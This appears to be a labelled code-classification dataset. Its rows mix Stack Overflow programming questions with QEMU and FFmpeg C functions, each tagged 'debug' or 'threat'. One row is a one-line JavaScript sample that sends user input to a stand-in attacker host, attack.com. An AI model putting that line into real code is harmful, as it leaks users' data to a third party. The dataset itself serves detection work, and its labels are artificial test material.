problem stringlengths 26 131k | labels class label 2 classes |
|---|---|
Why does my algorithm to convert between index and x,y with bitmap buffers result in the image being flipped vertically? : <p>When working with bitmap buffers like:</p>
<pre><code>[50, 50, 50, 255, 50, 50, 50, 255, ...]
[r, g, b, a, r, g, b, a, ...]
</code></pre>
<p>I often use math like this:</p>
<pre><code>let bufferWidth = width * 4;
buffer.forEach((channel, index) => {
let y = Math.floor(index / bufferWidth);
let x = Math.floor((index % bufferWidth) / 4);
let remainder = index % 4;
</code></pre>
<p>in order to calculate x, y, or vice versa to work with flat buffers of bitmap data. Almost always I end up with flipped results and some way or another end up flipping them back, but clearly there's something wrong with my thinking on this.</p>
<p>What's wrong with this math that would cause the bitmap to be flipped?</p>
<p>Full code, a function to crop a bitmap:</p>
<pre><code>function crop(
buffer,
width,
height,
leftLimit,
rightLimit,
lowerLimit,
upperLimit
) {
let croppedWidth = rightLimit - leftLimit;
let croppedHeight = upperLimit - lowerLimit;
let length = croppedHeight * croppedWidth * 4;
let bufferWidth = width * 4;
let croppedBuffer = new Uint8Array(length);
buffer.forEach((channel, index) => {
let y = Math.floor(index / bufferWidth);
let x = Math.floor((index % bufferWidth) / 4);
let remainder = index % 4;
let yCropped = y - lowerLimit;
let xCropped = x - leftLimit;
let indexCropped = yCropped * croppedWidth * 4 + xCropped * 4 + remainder;
if (
xCropped >= 0 &&
xCropped <= croppedWidth &&
yCropped >= 0 &&
yCropped <= croppedHeight
) {
croppedBuffer[indexCropped] = buffer[index];
}
});
return croppedBuffer;
}
</code></pre>
| 0debug |
window.location.href = 'http://attack.com?user=' + user_input; | 1threat |
Java MySQL SSL Error : <p>While trying to connect to my MySQL Database which is located on the same Computer as the Proxy, this Error occurs:</p>
<pre><code>00:17:43 [SCHWERWIEGEND] Fri Sep 01 00:17:43 CEST 2017 WARN: Establishing SSL connection without server's identity verification is not recommended. According to MySQL 5.5.45+, 5.6.26+ and 5.7.6+ requirements SSL connection must be established by default if explicit option isn't set. For compliance with existing applications not using SSL the verifyServerCertificate property is set to 'false'. You need either to explicitly disable SSL by setting useSSL=false, or set useSSL=true and provide truststore for server certificate verification.
</code></pre>
<p>Here is the Connection Settings File...</p>
<pre><code>MySQL:
Host: localhost
Port: '3306'
Database: Sad-MS-Datenbank
Username: root
Password: 1234567890
</code></pre>
<p>Does anybody know how to fix it?</p>
<p>P.S. Connecting to the Database from another Computers Proxy is possible. But not from localhost.</p>
| 0debug |
React unable to import component -- module not found : <p>I just started with React.js and I am unable to import component.</p>
<p>I have this structure as followed by <a href="https://www.youtube.com/watch?v=9wK4gHoOh1g&list=PL55RiY5tL51oyA8euSROLjMFZbXaV7skS&index=5" rel="noreferrer">this tutorial (YouTube link)</a> :</p>
<pre><code>-- src
----| index.html
----| app
------| index.js
------| components
--------| MyCompontent.js
</code></pre>
<p>This is my <code>index.js</code>:</p>
<pre><code>import React from 'react';
import { render } from 'react-dom';
import { MyCompontent } from "./components/MyCompontent";
class App extends React.Component {
render() {
return (
<div>
<h1>Foo</h1>
<MyCompontent/>
</div>
);
}
}
render(<App />, window.document.getElementById('app'));
</code></pre>
<p>This is <code>MyComponent.js</code>:</p>
<pre><code>import React from "react";
export class MyCompontent extends React.Component {
render(){
return(
<div>MyCompontent</div>
);
}
}
</code></pre>
<p>I am using <a href="https://github.com/mschwarzmueller/reactjs-basics/blob/03-multiple-components/webpack.config.js" rel="noreferrer">this webpack file (GitHub link)</a>.</p>
<p>However, when I run this, my module fails to load. </p>
<p>I get this error in the browser console:</p>
<blockquote>
<p>Error: Cannot find module "./components/MyCompontent"</p>
</blockquote>
<pre><code>[WDS] Hot Module Replacement enabled. bundle.js:631:11
[WDS] Errors while compiling. bundle.js:631:11
./src/app/index.js
Module not found: Error: Cannot resolve 'file' or 'directory' ./components/MyCompontent in /home/kuno/code/react-hoteli/src/app
resolve file
/home/kuno/code/react-hoteli/src/app/components/MyCompontent doesn't exist
/home/kuno/code/react-hoteli/src/app/components/MyCompontent.webpack.js doesn't exist
/home/kuno/code/react-hoteli/src/app/components/MyCompontent.web.js doesn't exist
/home/kuno/code/react-hoteli/src/app/components/MyCompontent.js doesn't exist
/home/kuno/code/react-hoteli/src/app/components/MyCompontent.json doesn't exist
resolve directory
/home/kuno/code/react-hoteli/src/app/components/MyCompontent/package.json doesn't exist (directory description file)
/home/kuno/code/react-hoteli/src/app/components/MyCompontent doesn't exist (directory default file)
[/home/kuno/code/react-hoteli/src/app/components/MyCompontent]
[/home/kuno/code/react-hoteli/src/app/components/MyCompontent.webpack.js]
[/home/kuno/code/react-hoteli/src/app/components/MyCompontent.web.js]
[/home/kuno/code/react-hoteli/src/app/components/MyCompontent.js]
[/home/kuno/code/react-hoteli/src/app/components/MyCompontent.json]
@ ./src/app/index.js 11:20-56 bundle.js:669:5
</code></pre>
<p>Can't figure out what went wrong here.</p>
| 0debug |
static inline int get_a32_user_mem_index(DisasContext *s)
{
switch (s->mmu_idx) {
case ARMMMUIdx_S1E2:
case ARMMMUIdx_S12NSE0:
case ARMMMUIdx_S12NSE1:
return arm_to_core_mmu_idx(ARMMMUIdx_S12NSE0);
case ARMMMUIdx_S1E3:
case ARMMMUIdx_S1SE0:
case ARMMMUIdx_S1SE1:
return arm_to_core_mmu_idx(ARMMMUIdx_S1SE0);
case ARMMMUIdx_S2NS:
default:
g_assert_not_reached();
}
} | 1threat |
C# Filling an array with classobjects : <p>I have a very basic questions and I feel like something fundamental is missing because none of my searches seems to answer my question.</p>
<p>What i want to achieve is to create a class lets say Dog with a couple of variablemembers, public int age, public string name, public string breed etc and make a classobject of said class which I would name MyDog and ask the user to give MyDog some values.</p>
<p>Lets say have a class with an array lets call it dogcage and i want to fill it with these class objects myDog from the user. </p>
<p>I thought it would be something like this, pardon my formating I only have a phone available.(code removed since the page didnt accept the formating)</p>
<pre><code>Dogcage[]mydogcage = {New mydog(5, "MrDog", "German shepherd")}
</code></pre>
<p>I think im way off on my array where is would need some guidance.
I also dont quite grasp how to name an array after something in a different class. I would usually just read more but I have read so much and feel a bit blocked on my logic where i cant reason properly any more. </p>
| 0debug |
Where is gacutil.exe in Windows 10? : <p>I've got <strong>Windows 10 Pro 64 bit</strong>, <strong>Microsoft Visual Studio 2015</strong> and the <strong>full Windows 10 SDK package</strong> but <strong>I'm not able to find gacutil.exe</strong> in:</p>
<ul>
<li><strong>Microsoft Visual Studio 2015 subdirectories</strong></li>
<li><strong>Windows 10 SDK subdirectories</strong></li>
<li><strong>C:\Windows\Microsoft.NET subdirectories</strong></li>
<li><strong>C:\Windows\System32</strong></li>
<li><strong>C:\Windows\SysWOW64</strong></li>
<li><strong>C:\Program Files\Reference Assemblies subdirectories</strong></li>
<li><strong>C:\Program Files (x86)\Reference Assemblies subdirectories</strong></li>
</ul>
<p>Don't come tell me it's a duplicate, please. The other answers <strong>don't actually answer my question</strong>.</p>
<p>Any idea? Thanks in advance!</p>
| 0debug |
int ff_rtsp_connect(AVFormatContext *s)
{
RTSPState *rt = s->priv_data;
char host[1024], path[1024], tcpname[1024], cmd[2048], auth[128];
char *option_list, *option, *filename;
int port, err, tcp_fd;
RTSPMessageHeader reply1 = {}, *reply = &reply1;
int lower_transport_mask = 0;
char real_challenge[64];
struct sockaddr_storage peer;
socklen_t peer_len = sizeof(peer);
if (!ff_network_init())
return AVERROR(EIO);
redirect:
rt->control_transport = RTSP_MODE_PLAIN;
av_url_split(NULL, 0, auth, sizeof(auth),
host, sizeof(host), &port, path, sizeof(path), s->filename);
if (*auth) {
av_strlcpy(rt->auth, auth, sizeof(rt->auth));
}
if (port < 0)
port = RTSP_DEFAULT_PORT;
option_list = strrchr(path, '?');
if (option_list) {
filename = option_list;
while (option_list) {
option = ++option_list;
option_list = strchr(option_list, '&');
if (option_list)
*option_list = 0;
if (!strcmp(option, "udp")) {
lower_transport_mask |= (1<< RTSP_LOWER_TRANSPORT_UDP);
} else if (!strcmp(option, "multicast")) {
lower_transport_mask |= (1<< RTSP_LOWER_TRANSPORT_UDP_MULTICAST);
} else if (!strcmp(option, "tcp")) {
lower_transport_mask |= (1<< RTSP_LOWER_TRANSPORT_TCP);
} else if(!strcmp(option, "http")) {
lower_transport_mask |= (1<< RTSP_LOWER_TRANSPORT_TCP);
rt->control_transport = RTSP_MODE_TUNNEL;
} else {
int len = strlen(option);
memmove(++filename, option, len);
filename += len;
if (option_list) *filename = '&';
}
}
*filename = 0;
}
if (!lower_transport_mask)
lower_transport_mask = (1 << RTSP_LOWER_TRANSPORT_NB) - 1;
if (s->oformat) {
lower_transport_mask &= (1 << RTSP_LOWER_TRANSPORT_UDP) |
(1 << RTSP_LOWER_TRANSPORT_TCP);
if (!lower_transport_mask || rt->control_transport == RTSP_MODE_TUNNEL) {
av_log(s, AV_LOG_ERROR, "Unsupported lower transport method, "
"only UDP and TCP are supported for output.\n");
err = AVERROR(EINVAL);
goto fail;
}
}
ff_url_join(rt->control_uri, sizeof(rt->control_uri), "rtsp", NULL,
host, port, "%s", path);
if (rt->control_transport == RTSP_MODE_TUNNEL) {
char httpname[1024];
char sessioncookie[17];
char headers[1024];
ff_url_join(httpname, sizeof(httpname), "http", auth, host, port, "%s", path);
snprintf(sessioncookie, sizeof(sessioncookie), "%08x%08x",
av_get_random_seed(), av_get_random_seed());
if (url_alloc(&rt->rtsp_hd, httpname, URL_RDONLY) < 0) {
err = AVERROR(EIO);
goto fail;
}
snprintf(headers, sizeof(headers),
"x-sessioncookie: %s\r\n"
"Accept: application/x-rtsp-tunnelled\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n",
sessioncookie);
ff_http_set_headers(rt->rtsp_hd, headers);
if (url_connect(rt->rtsp_hd)) {
err = AVERROR(EIO);
goto fail;
}
if (url_alloc(&rt->rtsp_hd_out, httpname, URL_WRONLY) < 0 ) {
err = AVERROR(EIO);
goto fail;
}
snprintf(headers, sizeof(headers),
"x-sessioncookie: %s\r\n"
"Content-Type: application/x-rtsp-tunnelled\r\n"
"Pragma: no-cache\r\n"
"Cache-Control: no-cache\r\n"
"Content-Length: 32767\r\n"
"Expires: Sun, 9 Jan 1972 00:00:00 GMT\r\n",
sessioncookie);
ff_http_set_headers(rt->rtsp_hd_out, headers);
ff_http_set_chunked_transfer_encoding(rt->rtsp_hd_out, 0);
ff_http_init_auth_state(rt->rtsp_hd_out, rt->rtsp_hd);
if (url_connect(rt->rtsp_hd_out)) {
err = AVERROR(EIO);
goto fail;
}
} else {
ff_url_join(tcpname, sizeof(tcpname), "tcp", NULL, host, port, NULL);
if (url_open(&rt->rtsp_hd, tcpname, URL_RDWR) < 0) {
err = AVERROR(EIO);
goto fail;
}
rt->rtsp_hd_out = rt->rtsp_hd;
}
rt->seq = 0;
tcp_fd = url_get_file_handle(rt->rtsp_hd);
if (!getpeername(tcp_fd, (struct sockaddr*) &peer, &peer_len)) {
getnameinfo((struct sockaddr*) &peer, peer_len, host, sizeof(host),
NULL, 0, NI_NUMERICHOST);
}
for (rt->server_type = RTSP_SERVER_RTP;;) {
cmd[0] = 0;
if (rt->server_type == RTSP_SERVER_REAL)
av_strlcat(cmd,
"ClientChallenge: 9e26d33f2984236010ef6253fb1887f7\r\n"
"PlayerStarttime: [28/03/2003:22:50:23 00:00]\r\n"
"CompanyID: KnKV4M4I/B2FjJ1TToLycw==\r\n"
"GUID: 00000000-0000-0000-0000-000000000000\r\n",
sizeof(cmd));
ff_rtsp_send_cmd(s, "OPTIONS", rt->control_uri, cmd, reply, NULL);
if (reply->status_code != RTSP_STATUS_OK) {
err = AVERROR_INVALIDDATA;
goto fail;
}
if (rt->server_type != RTSP_SERVER_REAL && reply->real_challenge[0]) {
rt->server_type = RTSP_SERVER_REAL;
continue;
} else if (!strncasecmp(reply->server, "WMServer/", 9)) {
rt->server_type = RTSP_SERVER_WMS;
} else if (rt->server_type == RTSP_SERVER_REAL)
strcpy(real_challenge, reply->real_challenge);
break;
}
if (s->iformat)
err = rtsp_setup_input_streams(s, reply);
else
err = rtsp_setup_output_streams(s, host);
if (err)
goto fail;
do {
int lower_transport = ff_log2_tab[lower_transport_mask &
~(lower_transport_mask - 1)];
err = make_setup_request(s, host, port, lower_transport,
rt->server_type == RTSP_SERVER_REAL ?
real_challenge : NULL);
if (err < 0)
goto fail;
lower_transport_mask &= ~(1 << lower_transport);
if (lower_transport_mask == 0 && err == 1) {
err = FF_NETERROR(EPROTONOSUPPORT);
goto fail;
}
} while (err);
rt->state = RTSP_STATE_IDLE;
rt->seek_timestamp = 0;
return 0;
fail:
ff_rtsp_close_streams(s);
ff_rtsp_close_connections(s);
if (reply->status_code >=300 && reply->status_code < 400 && s->iformat) {
av_strlcpy(s->filename, reply->location, sizeof(s->filename));
av_log(s, AV_LOG_INFO, "Status %d: Redirecting to %s\n",
reply->status_code,
s->filename);
goto redirect;
}
ff_network_close();
return err;
}
| 1threat |
input type file not working codeigniter : This is the controller. I update the image but I think input type file not accept file or not send the file to the controller so my code was not working well. I think controller code is true.
Its urgent friends, please help me and this is my first question in StackOverflow.
class OurTeam extends CI_Controller {
public function UpdateTeam()
{
$config['image_library'] = 'gd2';
$config['upload_path'] = '../employeephoto/';
$config['source_image'] ='employeephoto/';
$config['allowed_types'] = 'gif|jpg|png';
$config['max_size'] = 12024;
$config['width'] = 300;
$config['height'] = 150;
$this->load->library('upload', $config);
$img = $_FILES['fileupdate']['name'];
if($img)
{
if (!$this->upload->do_upload('fileupdate'))
{
$error = array('error' => $this->upload->display_errors());
}
else
{
$data = array('upload_data' => $this->upload->data());
$file_name=($this->upload->data('file_name'));
$this->load->model('OurTeamModel');
$id= $_POST['id'];
$removeimg = $this->OurTeamModel->SelectById($id);
echo $imgpath = 'employeephoto/'.$removeimg[0]->img;
if(file_exists($imgpath))
{
unlink($imgpath);
}
else
{
echo "no";
}
$this->OurTeamModel->UpdateOurTeam($file_name);
$config['image_library'] = 'gd2';
$config['upload_path'] = '../employeephoto/'.$file_name;
$config['source_image'] = '../employeephoto/'.$file_name;
$config['maintain_ratio'] = false;
$config['allowed_types'] = 'gif|jpg|png';
$config['width'] = 660;
$config['height'] = 300;
$this->load->library('image_lib', $config);
$this->image_lib->clear();
$this->image_lib->initialize($config);
$ok = $this->image_lib->resize();
}
}
else
{
$this->load->model('OurTeamModel');
$this->OurTeamModel->UpdateOurTeamRecord();
}
redirect('admin/OurTeam');
}
}
This is view page
<?php echo form_open_multipart('admin/OurTeam/UpdateTeam');?>
<input type="file" name="fileupdate" size="20" id="fileupdate">
<input type="submit" value="Save" >
</form>
| 0debug |
static int transcode(AVFormatContext **output_files,
int nb_output_files,
AVFormatContext **input_files,
int nb_input_files,
AVStreamMap *stream_maps, int nb_stream_maps)
{
int ret = 0, i, j, k, n, nb_istreams = 0, nb_ostreams = 0, step;
AVFormatContext *is, *os;
AVCodecContext *codec, *icodec;
AVOutputStream *ost, **ost_table = NULL;
AVInputStream *ist, **ist_table = NULL;
AVInputFile *file_table;
char error[1024];
int key;
int want_sdp = 1;
uint8_t no_packet[MAX_FILES]={0};
int no_packet_count=0;
int nb_frame_threshold[AVMEDIA_TYPE_NB]={0};
int nb_streams[AVMEDIA_TYPE_NB]={0};
file_table= av_mallocz(nb_input_files * sizeof(AVInputFile));
if (!file_table)
goto fail;
j = 0;
for(i=0;i<nb_input_files;i++) {
is = input_files[i];
file_table[i].ist_index = j;
file_table[i].nb_streams = is->nb_streams;
j += is->nb_streams;
}
nb_istreams = j;
ist_table = av_mallocz(nb_istreams * sizeof(AVInputStream *));
if (!ist_table)
goto fail;
for(i=0;i<nb_istreams;i++) {
ist = av_mallocz(sizeof(AVInputStream));
if (!ist)
goto fail;
ist_table[i] = ist;
}
j = 0;
for(i=0;i<nb_input_files;i++) {
is = input_files[i];
for(k=0;k<is->nb_streams;k++) {
ist = ist_table[j++];
ist->st = is->streams[k];
ist->file_index = i;
ist->index = k;
ist->discard = 1;
if (rate_emu) {
ist->start = av_gettime();
}
}
}
nb_ostreams = 0;
for(i=0;i<nb_output_files;i++) {
os = output_files[i];
if (!os->nb_streams && !(os->oformat->flags & AVFMT_NOSTREAMS)) {
av_dump_format(output_files[i], i, output_files[i]->filename, 1);
fprintf(stderr, "Output file #%d does not contain any stream\n", i);
ret = AVERROR(EINVAL);
goto fail;
}
nb_ostreams += os->nb_streams;
}
if (nb_stream_maps > 0 && nb_stream_maps != nb_ostreams) {
fprintf(stderr, "Number of stream maps must match number of output streams\n");
ret = AVERROR(EINVAL);
goto fail;
}
for(i=0;i<nb_stream_maps;i++) {
int fi = stream_maps[i].file_index;
int si = stream_maps[i].stream_index;
if (fi < 0 || fi > nb_input_files - 1 ||
si < 0 || si > file_table[fi].nb_streams - 1) {
fprintf(stderr,"Could not find input stream #%d.%d\n", fi, si);
ret = AVERROR(EINVAL);
goto fail;
}
fi = stream_maps[i].sync_file_index;
si = stream_maps[i].sync_stream_index;
if (fi < 0 || fi > nb_input_files - 1 ||
si < 0 || si > file_table[fi].nb_streams - 1) {
fprintf(stderr,"Could not find sync stream #%d.%d\n", fi, si);
ret = AVERROR(EINVAL);
goto fail;
}
}
ost_table = av_mallocz(sizeof(AVOutputStream *) * nb_ostreams);
if (!ost_table)
goto fail;
for(k=0;k<nb_output_files;k++) {
os = output_files[k];
for(i=0;i<os->nb_streams;i++,n++) {
nb_streams[os->streams[i]->codec->codec_type]++;
}
}
for(step=1<<30; step; step>>=1){
int found_streams[AVMEDIA_TYPE_NB]={0};
for(j=0; j<AVMEDIA_TYPE_NB; j++)
nb_frame_threshold[j] += step;
for(j=0; j<nb_istreams; j++) {
int skip=0;
ist = ist_table[j];
if(opt_programid){
int pi,si;
AVFormatContext *f= input_files[ ist->file_index ];
skip=1;
for(pi=0; pi<f->nb_programs; pi++){
AVProgram *p= f->programs[pi];
if(p->id == opt_programid)
for(si=0; si<p->nb_stream_indexes; si++){
if(f->streams[ p->stream_index[si] ] == ist->st)
skip=0;
}
}
}
if (ist->discard && ist->st->discard != AVDISCARD_ALL && !skip
&& nb_frame_threshold[ist->st->codec->codec_type] <= ist->st->codec_info_nb_frames){
found_streams[ist->st->codec->codec_type]++;
}
}
for(j=0; j<AVMEDIA_TYPE_NB; j++)
if(found_streams[j] < nb_streams[j])
nb_frame_threshold[j] -= step;
}
n = 0;
for(k=0;k<nb_output_files;k++) {
os = output_files[k];
for(i=0;i<os->nb_streams;i++,n++) {
int found;
ost = ost_table[n] = output_streams_for_file[k][i];
ost->st = os->streams[i];
if (nb_stream_maps > 0) {
ost->source_index = file_table[stream_maps[n].file_index].ist_index +
stream_maps[n].stream_index;
if (ist_table[ost->source_index]->st->codec->codec_type != ost->st->codec->codec_type) {
int i= ost->file_index;
av_dump_format(output_files[i], i, output_files[i]->filename, 1);
fprintf(stderr, "Codec type mismatch for mapping #%d.%d -> #%d.%d\n",
stream_maps[n].file_index, stream_maps[n].stream_index,
ost->file_index, ost->index);
ffmpeg_exit(1);
}
} else {
found = 0;
for(j=0;j<nb_istreams;j++) {
int skip=0;
ist = ist_table[j];
if(opt_programid){
int pi,si;
AVFormatContext *f= input_files[ ist->file_index ];
skip=1;
for(pi=0; pi<f->nb_programs; pi++){
AVProgram *p= f->programs[pi];
if(p->id == opt_programid)
for(si=0; si<p->nb_stream_indexes; si++){
if(f->streams[ p->stream_index[si] ] == ist->st)
skip=0;
}
}
}
if (ist->discard && ist->st->discard != AVDISCARD_ALL && !skip &&
ist->st->codec->codec_type == ost->st->codec->codec_type &&
nb_frame_threshold[ist->st->codec->codec_type] <= ist->st->codec_info_nb_frames) {
ost->source_index = j;
found = 1;
break;
}
}
if (!found) {
if(! opt_programid) {
for(j=0;j<nb_istreams;j++) {
ist = ist_table[j];
if ( ist->st->codec->codec_type == ost->st->codec->codec_type
&& ist->st->discard != AVDISCARD_ALL) {
ost->source_index = j;
found = 1;
}
}
}
if (!found) {
int i= ost->file_index;
av_dump_format(output_files[i], i, output_files[i]->filename, 1);
fprintf(stderr, "Could not find input stream matching output stream #%d.%d\n",
ost->file_index, ost->index);
ffmpeg_exit(1);
}
}
}
ist = ist_table[ost->source_index];
ist->discard = 0;
ost->sync_ist = (nb_stream_maps > 0) ?
ist_table[file_table[stream_maps[n].sync_file_index].ist_index +
stream_maps[n].sync_stream_index] : ist;
}
}
for(i=0;i<nb_ostreams;i++) {
ost = ost_table[i];
os = output_files[ost->file_index];
ist = ist_table[ost->source_index];
codec = ost->st->codec;
icodec = ist->st->codec;
if (metadata_streams_autocopy)
av_metadata_copy(&ost->st->metadata, ist->st->metadata,
AV_METADATA_DONT_OVERWRITE);
ost->st->disposition = ist->st->disposition;
codec->bits_per_raw_sample= icodec->bits_per_raw_sample;
codec->chroma_sample_location = icodec->chroma_sample_location;
if (ost->st->stream_copy) {
uint64_t extra_size = (uint64_t)icodec->extradata_size + FF_INPUT_BUFFER_PADDING_SIZE;
if (extra_size > INT_MAX)
goto fail;
codec->codec_id = icodec->codec_id;
codec->codec_type = icodec->codec_type;
if(!codec->codec_tag){
if( !os->oformat->codec_tag
|| av_codec_get_id (os->oformat->codec_tag, icodec->codec_tag) == codec->codec_id
|| av_codec_get_tag(os->oformat->codec_tag, icodec->codec_id) <= 0)
codec->codec_tag = icodec->codec_tag;
}
codec->bit_rate = icodec->bit_rate;
codec->rc_max_rate = icodec->rc_max_rate;
codec->rc_buffer_size = icodec->rc_buffer_size;
codec->extradata= av_mallocz(extra_size);
if (!codec->extradata)
goto fail;
memcpy(codec->extradata, icodec->extradata, icodec->extradata_size);
codec->extradata_size= icodec->extradata_size;
if(!copy_tb && av_q2d(icodec->time_base)*icodec->ticks_per_frame > av_q2d(ist->st->time_base) && av_q2d(ist->st->time_base) < 1.0/500){
codec->time_base = icodec->time_base;
codec->time_base.num *= icodec->ticks_per_frame;
av_reduce(&codec->time_base.num, &codec->time_base.den,
codec->time_base.num, codec->time_base.den, INT_MAX);
}else
codec->time_base = ist->st->time_base;
switch(codec->codec_type) {
case AVMEDIA_TYPE_AUDIO:
if(audio_volume != 256) {
fprintf(stderr,"-acodec copy and -vol are incompatible (frames are not decoded)\n");
ffmpeg_exit(1);
}
codec->channel_layout = icodec->channel_layout;
codec->sample_rate = icodec->sample_rate;
codec->channels = icodec->channels;
codec->frame_size = icodec->frame_size;
codec->audio_service_type = icodec->audio_service_type;
codec->block_align= icodec->block_align;
if(codec->block_align == 1 && codec->codec_id == CODEC_ID_MP3)
codec->block_align= 0;
if(codec->codec_id == CODEC_ID_AC3)
codec->block_align= 0;
break;
case AVMEDIA_TYPE_VIDEO:
codec->pix_fmt = icodec->pix_fmt;
codec->width = icodec->width;
codec->height = icodec->height;
codec->has_b_frames = icodec->has_b_frames;
if (!codec->sample_aspect_ratio.num) {
codec->sample_aspect_ratio =
ost->st->sample_aspect_ratio =
ist->st->sample_aspect_ratio.num ? ist->st->sample_aspect_ratio :
ist->st->codec->sample_aspect_ratio.num ?
ist->st->codec->sample_aspect_ratio : (AVRational){0, 1};
}
break;
case AVMEDIA_TYPE_SUBTITLE:
codec->width = icodec->width;
codec->height = icodec->height;
break;
case AVMEDIA_TYPE_DATA:
break;
default:
abort();
}
} else {
switch(codec->codec_type) {
case AVMEDIA_TYPE_AUDIO:
ost->fifo= av_fifo_alloc(1024);
if(!ost->fifo)
goto fail;
ost->reformat_pair = MAKE_SFMT_PAIR(AV_SAMPLE_FMT_NONE,AV_SAMPLE_FMT_NONE);
ost->audio_resample = codec->sample_rate != icodec->sample_rate || audio_sync_method > 1;
icodec->request_channels = codec->channels;
ist->decoding_needed = 1;
ost->encoding_needed = 1;
ost->resample_sample_fmt = icodec->sample_fmt;
ost->resample_sample_rate = icodec->sample_rate;
ost->resample_channels = icodec->channels;
break;
case AVMEDIA_TYPE_VIDEO:
if (ost->st->codec->pix_fmt == PIX_FMT_NONE) {
fprintf(stderr, "Video pixel format is unknown, stream cannot be encoded\n");
ffmpeg_exit(1);
}
ost->video_resample = codec->width != icodec->width ||
codec->height != icodec->height ||
codec->pix_fmt != icodec->pix_fmt;
if (ost->video_resample) {
#if !CONFIG_AVFILTER
avcodec_get_frame_defaults(&ost->pict_tmp);
if(avpicture_alloc((AVPicture*)&ost->pict_tmp, codec->pix_fmt,
codec->width, codec->height)) {
fprintf(stderr, "Cannot allocate temp picture, check pix fmt\n");
ffmpeg_exit(1);
}
sws_flags = av_get_int(sws_opts, "sws_flags", NULL);
ost->img_resample_ctx = sws_getContext(
icodec->width,
icodec->height,
icodec->pix_fmt,
codec->width,
codec->height,
codec->pix_fmt,
sws_flags, NULL, NULL, NULL);
if (ost->img_resample_ctx == NULL) {
fprintf(stderr, "Cannot get resampling context\n");
ffmpeg_exit(1);
}
#endif
codec->bits_per_raw_sample= frame_bits_per_raw_sample;
}
ost->resample_height = icodec->height;
ost->resample_width = icodec->width;
ost->resample_pix_fmt= icodec->pix_fmt;
ost->encoding_needed = 1;
ist->decoding_needed = 1;
#if CONFIG_AVFILTER
if (configure_video_filters(ist, ost)) {
fprintf(stderr, "Error opening filters!\n");
exit(1);
}
#endif
break;
case AVMEDIA_TYPE_SUBTITLE:
ost->encoding_needed = 1;
ist->decoding_needed = 1;
break;
default:
abort();
break;
}
if (ost->encoding_needed && codec->codec_id != CODEC_ID_H264 &&
(codec->flags & (CODEC_FLAG_PASS1 | CODEC_FLAG_PASS2))) {
char logfilename[1024];
FILE *f;
snprintf(logfilename, sizeof(logfilename), "%s-%d.log",
pass_logfilename_prefix ? pass_logfilename_prefix : DEFAULT_PASS_LOGFILENAME_PREFIX,
i);
if (codec->flags & CODEC_FLAG_PASS1) {
f = fopen(logfilename, "wb");
if (!f) {
fprintf(stderr, "Cannot write log file '%s' for pass-1 encoding: %s\n", logfilename, strerror(errno));
ffmpeg_exit(1);
}
ost->logfile = f;
} else {
char *logbuffer;
size_t logbuffer_size;
if (read_file(logfilename, &logbuffer, &logbuffer_size) < 0) {
fprintf(stderr, "Error reading log file '%s' for pass-2 encoding\n", logfilename);
ffmpeg_exit(1);
}
codec->stats_in = logbuffer;
}
}
}
if(codec->codec_type == AVMEDIA_TYPE_VIDEO){
int size= codec->width * codec->height;
bit_buffer_size= FFMAX(bit_buffer_size, 6*size + 1664);
}
}
if (!bit_buffer)
bit_buffer = av_malloc(bit_buffer_size);
if (!bit_buffer) {
fprintf(stderr, "Cannot allocate %d bytes output buffer\n",
bit_buffer_size);
ret = AVERROR(ENOMEM);
goto fail;
}
for(i=0;i<nb_ostreams;i++) {
ost = ost_table[i];
if (ost->encoding_needed) {
AVCodec *codec = i < nb_output_codecs ? output_codecs[i] : NULL;
AVCodecContext *dec = ist_table[ost->source_index]->st->codec;
if (!codec)
codec = avcodec_find_encoder(ost->st->codec->codec_id);
if (!codec) {
snprintf(error, sizeof(error), "Encoder (codec id %d) not found for output stream #%d.%d",
ost->st->codec->codec_id, ost->file_index, ost->index);
ret = AVERROR(EINVAL);
goto dump_format;
}
if (dec->subtitle_header) {
ost->st->codec->subtitle_header = av_malloc(dec->subtitle_header_size);
if (!ost->st->codec->subtitle_header) {
ret = AVERROR(ENOMEM);
goto dump_format;
}
memcpy(ost->st->codec->subtitle_header, dec->subtitle_header, dec->subtitle_header_size);
ost->st->codec->subtitle_header_size = dec->subtitle_header_size;
}
if (avcodec_open(ost->st->codec, codec) < 0) {
snprintf(error, sizeof(error), "Error while opening encoder for output stream #%d.%d - maybe incorrect parameters such as bit_rate, rate, width or height",
ost->file_index, ost->index);
ret = AVERROR(EINVAL);
goto dump_format;
}
extra_size += ost->st->codec->extradata_size;
}
}
for(i=0;i<nb_istreams;i++) {
ist = ist_table[i];
if (ist->decoding_needed) {
AVCodec *codec = i < nb_input_codecs ? input_codecs[i] : NULL;
if (!codec)
codec = avcodec_find_decoder(ist->st->codec->codec_id);
if (!codec) {
snprintf(error, sizeof(error), "Decoder (codec id %d) not found for input stream #%d.%d",
ist->st->codec->codec_id, ist->file_index, ist->index);
ret = AVERROR(EINVAL);
goto dump_format;
}
if (avcodec_open(ist->st->codec, codec) < 0) {
snprintf(error, sizeof(error), "Error while opening decoder for input stream #%d.%d",
ist->file_index, ist->index);
ret = AVERROR(EINVAL);
goto dump_format;
}
}
}
for(i=0;i<nb_istreams;i++) {
AVStream *st;
ist = ist_table[i];
st= ist->st;
ist->pts = st->avg_frame_rate.num ? - st->codec->has_b_frames*AV_TIME_BASE / av_q2d(st->avg_frame_rate) : 0;
ist->next_pts = AV_NOPTS_VALUE;
ist->is_start = 1;
}
for (i=0;i<nb_meta_data_maps;i++) {
AVFormatContext *files[2];
AVMetadata **meta[2];
int j;
#define METADATA_CHECK_INDEX(index, nb_elems, desc)\
if ((index) < 0 || (index) >= (nb_elems)) {\
snprintf(error, sizeof(error), "Invalid %s index %d while processing metadata maps\n",\
(desc), (index));\
ret = AVERROR(EINVAL);\
goto dump_format;\
}
int out_file_index = meta_data_maps[i][0].file;
int in_file_index = meta_data_maps[i][1].file;
if (in_file_index < 0 || out_file_index < 0)
continue;
METADATA_CHECK_INDEX(out_file_index, nb_output_files, "output file")
METADATA_CHECK_INDEX(in_file_index, nb_input_files, "input file")
files[0] = output_files[out_file_index];
files[1] = input_files[in_file_index];
for (j = 0; j < 2; j++) {
AVMetaDataMap *map = &meta_data_maps[i][j];
switch (map->type) {
case 'g':
meta[j] = &files[j]->metadata;
break;
case 's':
METADATA_CHECK_INDEX(map->index, files[j]->nb_streams, "stream")
meta[j] = &files[j]->streams[map->index]->metadata;
break;
case 'c':
METADATA_CHECK_INDEX(map->index, files[j]->nb_chapters, "chapter")
meta[j] = &files[j]->chapters[map->index]->metadata;
break;
case 'p':
METADATA_CHECK_INDEX(map->index, files[j]->nb_programs, "program")
meta[j] = &files[j]->programs[map->index]->metadata;
break;
}
}
